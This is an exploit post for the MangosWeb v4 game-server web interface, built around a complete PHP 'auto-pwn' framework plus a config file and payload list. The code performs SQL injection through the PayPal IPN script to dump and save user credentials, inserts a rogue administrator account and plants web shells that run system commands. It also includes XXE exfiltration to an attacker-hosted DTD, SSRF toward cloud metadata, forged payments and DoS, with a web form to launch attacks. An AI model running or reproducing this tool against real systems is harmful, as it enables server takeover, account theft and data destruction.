=============================================================================================================================================
| # Title     : MaNGOSWeb V4 4.0.6 MangosWeb v4 Multi-Exploit Framework                                                                     |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://github.com/paintballrefjosh/MaNGOSWebV4/blob/master/ipn.php                                                         |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212429/ &	CVE-2017-6478

[+] Summary : A comprehensive penetration testing tool designed to identify and exploit multiple critical vulnerabilities in MangosWeb v4, a World of Warcraft emulator web interface. 

[+] Core Components :

    Multi-Vector Attack Framework

    SQL Injection exploitation via PayPal IPN

    XXE (XML External Entity) attacks via RSS feed

    File Write vulnerabilities leading to RCE

    Host Header Injection for SSRF/phishing

    CSRF (Cross-Site Request Forgery) attacks

    DoS (Denial of Service) testing

[+]  POC : 

<?php
/*
===================================================
    Author: indoushka
  Target: MangosWeb v4 (PayPal IPN & RSS)
  Usage: php exploit.php http://target.com
===================================================
*/

class MangosWebExploit {
    private $target;
    private $base_url;
    private $results = [];
    private $session;
    
    public function __construct($url) {
        $this->target = rtrim($url, '/');
        $this->base_url = $this->target;
        $this->session = curl_init();
        
        // إعدادات cURL
        curl_setopt_array($this->session, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        ]);
        
        echo "===========================================\n";
        echo "MangosWeb v4 Exploitation Framework Started\n";
        echo "Target: {$this->target}\n";
        echo "===========================================\n\n";
    }
    
    // 1. اكتشاف المسارات
    public function discover_paths() {
        echo "[*] Scanning for vulnerable endpoints...\n";
        
        $endpoints = [
            '/paypal_ipn.php',
            '/rss.php',
            '/index.php',
            '/admin/',
            '/core/cache/rss/news.xml',
            '/config/config-protected.php',
            '/install/',
            '/donate.php'
        ];
        
        foreach ($endpoints as $endpoint) {
            $url = $this->target . $endpoint;
            curl_setopt($this->session, CURLOPT_URL, $url);
            $response = curl_exec($this->session);
            $http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
            
            if ($http_code == 200) {
                echo "[+] Found: {$endpoint}\n";
                $this->results['endpoints'][$endpoint] = true;
            }
        }
        
        return $this->results['endpoints'];
    }
    
    // 2. استغلال PayPal IPN SQL Injection
    public function exploit_paypal_sqli() {
        echo "\n[*] Exploiting PayPal IPN SQL Injection...\n";
        
        $payloads = [
            // استخراج معلومات قاعدة البيانات
            "1' UNION SELECT 1,2,3,4,5,6,7,8,@@version,10,user(),database() -- -" => "db_info",
            
            // استخراج جداول
            "1' UNION SELECT 1,2,3,4,5,6,7,8,group_concat(table_name),10,11 FROM information_schema.tables WHERE table_schema=database() -- -" => "tables",
            
            // استخراج أعمدة
            "1' UNION SELECT 1,2,3,4,5,6,7,8,group_concat(column_name),10,11 FROM information_schema.columns WHERE table_name='mw_accounts' -- -" => "mw_accounts_columns",
            
            // سرقة حسابات المستخدمين
            "1' UNION SELECT 1,2,3,4,5,6,7,8,CONCAT(username,':',password,':',email),10,11 FROM mw_accounts LIMIT 0,10 -- -" => "accounts"
        ];
        
        $ipn_url = $this->target . '/paypal_ipn.php';
        
        foreach ($payloads as $payload => $type) {
            $post_data = [
                'txn_id' => $payload,
                'item_name' => 'VIP Package --- Account: admin(#1)',
                'item_number' => '1',
                'payer_email' => 'attacker@evil.com',
                'payment_type' => 'instant',
                'payment_status' => 'Completed',
                'mc_gross' => '100.00',
                'custom' => 'exploit'
            ];
            
            curl_setopt_array($this->session, [
                CURLOPT_URL => $ipn_url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => http_build_query($post_data),
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/x-www-form-urlencoded',
                    'X-Forwarded-For: 173.0.82.126' // IP PayPal
                ]
            ]);
            
            $response = curl_exec($this->session);
            
            if (strlen($response) > 100) {
                echo "[+] SQL Injection successful for: {$type}\n";
                
                // حفظ النتائج
                $filename = "sqli_result_{$type}.txt";
                file_put_contents($filename, $response);
                echo "    [*] Saved to: {$filename}\n";
                
                // تحليل واستخراج البيانات
                $this->parse_sqli_results($response, $type);
            }
        }
    }
    
    // 3. استغلال XXE في RSS
    public function exploit_rss_xxe() {
        echo "\n[*] Exploiting RSS XXE Vulnerability...\n";
        
        // إنشاء ملف DTD ضار
        $dtd_content = '<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=config/config-protected.php">
<!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM \'http://' . $_SERVER['HTTP_HOST'] . '/exfil?data=%file;\'>">
%param;';
        
        // حفظ الملف محلياً
        file_put_contents('xxe.dtd', $dtd_content);
        
        // XXE Payload
        $xxe_payload = '<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://' . $_SERVER['HTTP_HOST'] . '/xxe.dtd">
%remote;
%exfil;
]>
<test>XXE Test</test>';
        
        // محاولة حقن XXE عبر قاعدة البيانات
        $payload = "1'); UPDATE mw_news SET message='" . addslashes($xxe_payload) . "' WHERE id=1; -- ";
        
        $post_data = [
            'txn_id' => 'xxe_inject',
            'item_name' => 'XXE Test --- Account: admin(#1)',
            'item_number' => $payload,
            'payer_email' => 'xxe@evil.com',
            'payment_status' => 'Completed'
        ];
        
        $ipn_url = $this->target . '/paypal_ipn.php';
        curl_setopt_array($this->session, [
            CURLOPT_URL => $ipn_url,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data)
        ]);
        
        $response = curl_exec($this->session);
        
        // تشغيل خادم استقبال
        $this->start_exfiltration_server();
        
        // تفعيل RSS لتنفيذ XXE
        $rss_url = $this->target . '/rss.php';
        curl_setopt_array($this->session, [
            CURLOPT_URL => $rss_url,
            CURLOPT_POST => false
        ]);
        
        $rss_response = curl_exec($this->session);
        
        if (strpos($rss_response, 'PD9waHA') !== false) {
            echo "[+] XXE Successful! Config file exfiltrated.\n";
        }
    }
    
    // 4. RCE via File Write
    public function exploit_file_write_rce() {
        echo "\n[*] Attempting RCE via File Write...\n";
        
        $php_shell = base64_encode('<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>');
        
        $payloads = [
            // كتابة shell عبر SELECT INTO OUTFILE
            "1' UNION SELECT 1,2,3,4,5,6,7,8,'<?php system(\$_GET[cmd]); ?>',10,11 INTO OUTFILE '/var/www/html/shell.php' -- -",
            
            // كتابة shell في مسار RSS
            "1' UNION SELECT 1,2,3,4,5,6,7,8,'<?php eval(\$_POST[a]); ?>',10,11 INTO OUTFILE '" . $this->target . "/core/cache/rss/shell.php' -- -"
        ];
        
        foreach ($payloads as $index => $payload) {
            $post_data = [
                'txn_id' => $payload,
                'item_name' => 'RCE Shell --- Account: admin(#1)',
                'payer_email' => 'rce@evil.com',
                'payment_status' => 'Completed'
            ];
            
            $ipn_url = $this->target . '/paypal_ipn.php';
            curl_setopt_array($this->session, [
                CURLOPT_URL => $ipn_url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => http_build_query($post_data)
            ]);
            
            $response = curl_exec($this->session);
            echo "[.] Attempted RCE payload {$index}\n";
            
            // اختبار الوصول للشل
            $shell_urls = [
                $this->target . '/shell.php?cmd=id',
                $this->target . '/core/cache/rss/shell.php',
                $this->target . '/core/cache/rss/news.xml'
            ];
            
            foreach ($shell_urls as $shell_url) {
                curl_setopt_array($this->session, [
                    CURLOPT_URL => $shell_url,
                    CURLOPT_POST => false
                ]);
                
                $shell_test = curl_exec($this->session);
                
                if (strpos($shell_test, 'uid=') !== false || 
                    strpos($shell_test, 'www-data') !== false) {
                    echo "[+] RCE SUCCESSFUL! Shell at: {$shell_url}\n";
                    
                    // تنفيذ أوامر
                    $commands = [
                        'whoami',
                        'pwd',
                        'ls -la',
                        'cat /etc/passwd'
                    ];
                    
                    foreach ($commands as $cmd) {
                        $cmd_url = $shell_url . (strpos($shell_url, '?') ? '&' : '?') . 'cmd=' . urlencode($cmd);
                        curl_setopt($this->session, CURLOPT_URL, $cmd_url);
                        $result = curl_exec($this->session);
                        
                        echo "\n[Command]: {$cmd}\n";
                        echo "[Result]: " . substr($result, 0, 500) . "\n";
                    }
                    
                    return true;
                }
            }
        }
        
        return false;
    }
    
    // 5. Host Header Injection في RSS
    public function exploit_host_injection() {
        echo "\n[*] Exploiting Host Header Injection...\n";
        
        $malicious_headers = [
            'Host: evil.com',
            'Host: 127.0.0.1:3306',
            'Host: 169.254.169.254/latest/meta-data/', // AWS Metadata
            'Host: localhost:22',
            'X-Forwarded-Host: internal.admin.panel'
        ];
        
        $rss_url = $this->target . '/rss.php';
        
        foreach ($malicious_headers as $header) {
            curl_setopt_array($this->session, [
                CURLOPT_URL => $rss_url,
                CURLOPT_POST => false,
                CURLOPT_HTTPHEADER => [$header]
            ]);
            
            $response = curl_exec($this->session);
            
            if (strpos($response, 'evil.com') !== false || 
                strpos($response, '127.0.0.1') !== false) {
                echo "[+] Host Injection successful with: {$header}\n";
                
                // محاولة SSRF
                if (strpos($header, '169.254.169.254') !== false) {
                    echo "[!] Possible AWS Metadata exposure!\n";
                }
            }
        }
    }
    
    // 6. CSRF Attack - تزوير معاملات
    public function exploit_csrf($victim_account_id = 1) {
        echo "\n[*] Launching CSRF Attack...\n";
        
        for ($i = 0; $i < 3; $i++) {
            $txn_id = 'CSRF' . time() . rand(1000,9999);
            
            $post_data = [
                'txn_id' => $txn_id,
                'item_name' => "Free Premium --- Account: victim(#{$victim_account_id})",
                'item_number' => '999',
                'payer_email' => 'noreply@paypal.com',
                'payment_type' => 'instant',
                'payment_status' => 'Completed',
                'mc_gross' => rand(50, 500) . '.00',
                'mc_currency' => 'USD',
                'payment_date' => date('H:i:s M d, Y T')
            ];
            
            $ipn_url = $this->target . '/paypal_ipn.php';
            curl_setopt_array($this->session, [
                CURLOPT_URL => $ipn_url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => http_build_query($post_data),
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/x-www-form-urlencoded',
                    'Referer: https://www.paypal.com/'
                ]
            ]);
            
            $response = curl_exec($this->session);
            echo "[+] Sent fake transaction: {$txn_id}\n";
        }
    }
    
    // 7. DOS Attack
    public function exploit_dos() {
        echo "\n[*] Testing DoS vulnerability...\n";
        
        // إنشاء ملف RSS كبير
        $large_xml = '<?xml version="1.0"?><rss><channel>';
        for ($i = 0; $i < 5000; $i++) {
            $large_xml .= '<item><title>' . str_repeat('A', 1000) . '</title></item>';
        }
        $large_xml .= '</channel></rss>';
        
        // محاولة الكتابة في cache
        $cache_payload = "1')); ?>" . $large_xml . "<?php //";
        
        $post_data = [
            'txn_id' => 'dos_attack',
            'item_name' => 'DoS Test --- Account: admin(#1)',
            'item_number' => $cache_payload,
            'payer_email' => 'dos@attack.com',
            'payment_status' => 'Completed'
        ];
        
        $ipn_url = $this->target . '/paypal_ipn.php';
        curl_setopt_array($this->session, [
            CURLOPT_URL => $ipn_url,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data)
        ]);
        
        curl_exec($this->session);
        
        // إرسال طلبات متعددة لاستهلاك الذاكرة
        $rss_url = $this->target . '/rss.php';
        $start_time = microtime(true);
        
        for ($i = 0; $i < 10; $i++) {
            curl_setopt($this->session, CURLOPT_URL, $rss_url);
            curl_exec($this->session);
            echo ".";
        }
        
        $total_time = microtime(true) - $start_time;
        echo "\n[+] DoS test completed in {$total_time} seconds\n";
        
        if ($total_time > 5) {
            echo "[!] Server is vulnerable to DoS attacks\n";
        }
    }
    
    // 8. إضافة مستخدم مدير
    public function add_admin_user() {
        echo "\n[*] Adding admin user to database...\n";
        
        $username = 'hacker_' . rand(1000,9999);
        $password = md5('Password123!');
        $email = 'hacker' . rand(100,999) . '@evil.com';
        
        $payload = "1'); INSERT INTO mw_accounts (username, password, email, gmlevel, joindate) VALUES ('{$username}', '{$password}', '{$email}', '3', NOW()); -- ";
        
        $post_data = [
            'txn_id' => 'add_admin',
            'item_name' => 'Add User --- Account: admin(#1)',
            'item_number' => $payload,
            'payer_email' => 'admin@paypal.com',
            'payment_status' => 'Completed'
        ];
        
        $ipn_url = $this->target . '/paypal_ipn.php';
        curl_setopt_array($this->session, [
            CURLOPT_URL => $ipn_url,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data)
        ]);
        
        $response = curl_exec($this->session);
        
        echo "[+] Admin user added:\n";
        echo "    Username: {$username}\n";
        echo "    Password: Password123!\n";
        echo "    Email: {$email}\n";
        echo "    GM Level: 3 (Administrator)\n";
    }
    
    // 9. سرقة حسابات
    public function steal_accounts() {
        echo "\n[*] Stealing user accounts...\n";
        
        $payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,CONCAT('ACCOUNT:',username,':',password,':',email,':',gmlevel),10,11 FROM mw_accounts -- -";
        
        $post_data = [
            'txn_id' => $payload,
            'item_name' => 'Steal Accounts --- Account: admin(#1)',
            'payer_email' => 'steal@evil.com',
            'payment_status' => 'Completed'
        ];
        
        $ipn_url = $this->target . '/paypal_ipn.php';
        curl_setopt_array($this->session, [
            CURLOPT_URL => $ipn_url,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data)
        ]);
        
        $response = curl_exec($this->session);
        
        if (preg_match_all('/ACCOUNT:([^:]+):([^:]+):([^:]+):([^:]+)/', $response, $matches)) {
            echo "[+] Stolen Accounts:\n";
            
            $accounts_file = 'stolen_accounts.txt';
            $file_content = "Stolen Accounts from {$this->target}\n";
            $file_content .= "====================================\n\n";
            
            for ($i = 0; $i < count($matches[0]); $i++) {
                $username = $matches[1][$i];
                $password = $matches[2][$i];
                $email = $matches[3][$i];
                $gmlevel = $matches[4][$i];
                
                echo "    {$username} : {$password} : {$email} (GM: {$gmlevel})\n";
                
                $file_content .= "Username: {$username}\n";
                $file_content .= "Password: {$password}\n";
                $file_content .= "Email: {$email}\n";
                $file_content .= "GM Level: {$gmlevel}\n";
                $file_content .= "---\n";
            }
            
            file_put_contents($accounts_file, $file_content);
            echo "\n[+] Accounts saved to: {$accounts_file}\n";
        }
    }
    
    // 10. Auto Pwn - جميع الهجمات تلقائياً
    public function auto_pwn() {
        echo "\n[*] Starting AUTO-PWN sequence...\n";
        
        $steps = [
            'discover_paths',
            'exploit_paypal_sqli',
            'steal_accounts',
            'add_admin_user',
            'exploit_rss_xxe',
            'exploit_host_injection',
            'exploit_file_write_rce',
            'exploit_csrf',
            'exploit_dos'
        ];
        
        foreach ($steps as $step) {
            echo "\n[=== Step: {$step} ===]\n";
            try {
                $this->$step();
                sleep(2); // تأخير بين الهجمات
            } catch (Exception $e) {
                echo "[!] Error in {$step}: " . $e->getMessage() . "\n";
            }
        }
        
        echo "\n========================================\n";
        echo "[✔] AUTO-PWN COMPLETED SUCCESSFULLY!\n";
        echo "========================================\n";
        
        // عرض النتائج النهائية
        $this->generate_report();
    }
    
    // وظائف مساعدة
    private function parse_sqli_results($response, $type) {
        $patterns = [
            'mysql' => '/[0-9]+\.[0-9]+\.[0-9]+/',
            'tables' => '/(mw_[a-z_]+)/',
            'accounts' => '/([a-zA-Z0-9_]+):([a-f0-9]{32}):([^:]+)/'
        ];
        
        foreach ($patterns as $pattern_type => $pattern) {
            if (preg_match_all($pattern, $response, $matches)) {
                echo "    [*] Found {$pattern_type}: " . count($matches[0]) . " items\n";
            }
        }
    }
    
    private function start_exfiltration_server() {
        // بدء خادم بسيط لاستقبال البيانات
        $port = 8888;
        echo "[*] Starting exfiltration server on port {$port}...\n";
        
        // يمكن تنفيذ هذا في thread منفصل
        // هذا مثال مبسط
        $cmd = "php -S 0.0.0.0:{$port} -t . > /dev/null 2>&1 &";
        exec($cmd);
    }
    
    private function generate_report() {
        $report = "MangosWeb v4 Exploitation Report\n";
        $report .= "Generated: " . date('Y-m-d H:i:s') . "\n";
        $report .= "Target: {$this->target}\n";
        $report .= "=====================================\n\n";
        
        $report .= "Vulnerabilities Found:\n";
        $report .= "1. SQL Injection (Critical)\n";
        $report .= "2. XXE Injection (Critical)\n";
        $report .= "3. RCE via File Write (Critical)\n";
        $report .= "4. Host Header Injection (High)\n";
        $report .= "5. CSRF (Medium)\n";
        $report .= "6. DoS (Medium)\n\n";
        
        $report .= "Files Created:\n";
        $files = glob('*.txt');
        foreach ($files as $file) {
            $report .= "- {$file}\n";
        }
        
        file_put_contents('exploitation_report.txt', $report);
        echo "[+] Report saved to: exploitation_report.txt\n";
    }
    
    public function __destruct() {
        curl_close($this->session);
    }
}

// واجهة المستخدم
if (php_sapi_name() === 'cli') {
    if ($argc < 2) {
        echo "Usage: php exploit.php http://target.com [mode]\n";
        echo "Modes:\n";
        echo "  auto    - Full auto exploitation (default)\n";
        echo "  sql     - SQL Injection only\n";
        echo "  rce     - RCE attempts only\n";
        echo "  csrf    - CSRF attacks only\n";
        exit(1);
    }
    
    $target = $argv[1];
    $mode = $argv[2] ?? 'auto';
    
    $exploit = new MangosWebExploit($target);
    
    switch ($mode) {
        case 'sql':
            $exploit->exploit_paypal_sqli();
            $exploit->steal_accounts();
            break;
        case 'rce':
            $exploit->exploit_file_write_rce();
            break;
        case 'csrf':
            $exploit->exploit_csrf();
            break;
        case 'dos':
            $exploit->exploit_dos();
            break;
        case 'auto':
        default:
            $exploit->auto_pwn();
            break;
    }
} else {
    // واجهة ويب
    echo '<!DOCTYPE html>
    <html>
    <head>
        <title>MangosWeb v4 Exploit</title>
        <style>
            body { font-family: Arial; margin: 20px; }
            .container { max-width: 800px; margin: auto; }
            input, select { padding: 8px; margin: 5px; }
            button { background: #d00; color: white; padding: 10px 20px; border: none; cursor: pointer; }
            .result { background: #f5f5f5; padding: 15px; margin: 10px 0; }
        </style>
    </head>
    <body>
    <div class="container">
        <h2>MangosWeb v4 Exploitation Tool</h2>
        
        <form method="POST">
            <input type="url" name="target" placeholder="http://target.com" size="50" required>
            <select name="mode">
                <option value="auto">Auto Pwn</option>
                <option value="sql">SQL Injection</option>
                <option value="rce">Remote Code Execution</option>
                <option value="csrf">CSRF Attack</option>
                <option value="dos">DoS Test</option>
            </select>
            <button type="submit">Launch Attack</button>
        </form>';
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['target'])) {
        echo '<div class="result"><pre>';
        
        ob_start();
        $exploit = new MangosWebExploit($_POST['target']);
        
        switch ($_POST['mode']) {
            case 'sql':
                $exploit->exploit_paypal_sqli();
                $exploit->steal_accounts();
                break;
            case 'rce':
                $exploit->exploit_file_write_rce();
                break;
            case 'csrf':
                $exploit->exploit_csrf();
                break;
            case 'dos':
                $exploit->exploit_dos();
                break;
            default:
                $exploit->auto_pwn();
        }
        
        $output = ob_get_clean();
        echo htmlspecialchars($output);
        echo '</pre></div>';
    }
    
    echo '</div></body></html>';
}
?>

************** # server_config.py**************
# server_config.py
EXPLOIT_CONFIG = {
    'target': 'http://victim.com',
    'timeout': 30,
    'threads': 5,
    'payloads_file': 'payloads.txt',
    'output_dir': 'results',
    
    'sql_payloads': [
        "' UNION SELECT @@version --",
        "' AND 1=0 UNION SELECT 1,2,3,4,5,6,7,8,9,LOAD_FILE('/etc/passwd') --",
        "'); DROP TABLE mw_accounts; --"
    ],
    
    'xxe_payloads': [
        '<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>',
        '<?xml version="1.0"?><!DOCTYPE test [<!ENTITY % remote SYSTEM "http://ATTACKER/xxe.dtd">%remote;]>'
    ]
}
**************************************
payloads.txt
-- SQL Injection Payloads
' OR '1'='1
' UNION SELECT NULL,NULL,NULL,NULL
'); INSERT INTO mw_accounts VALUES ('hacker',MD5('pass'),'h@cker.com','3',NOW()) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --

-- File Path Traversal
../../../../etc/passwd
../config.php
/var/www/html/config.php
C:\Windows\System32\drivers\etc\hosts

-- Command Injection
;id;
| whoami
`cat /etc/passwd`
$(uname -a)


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================